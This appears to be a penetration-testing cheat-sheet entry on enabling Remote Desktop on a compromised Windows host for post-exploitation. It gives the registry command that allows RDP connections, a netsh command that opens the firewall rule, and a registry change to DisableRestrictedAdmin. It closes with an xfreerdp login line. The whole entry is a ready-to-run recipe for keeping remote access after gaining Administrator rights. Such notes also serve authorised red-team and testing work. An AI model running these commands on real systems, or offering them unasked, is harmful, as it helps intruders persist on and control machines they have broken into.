Enabling RDP (Requires local Administrator)

If you have control over a local Administrator account, you can enable RDP and use xfreerdp to perform post-exploitation in better conditions

To do so, follow these steps:

1. enable RDP: reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
2. enable RDP from the firewall config: netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
3. disable the restricted admin mode: reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

Then, login using: xfreerdp /v:Target-IP /u:AdminUser /p:password
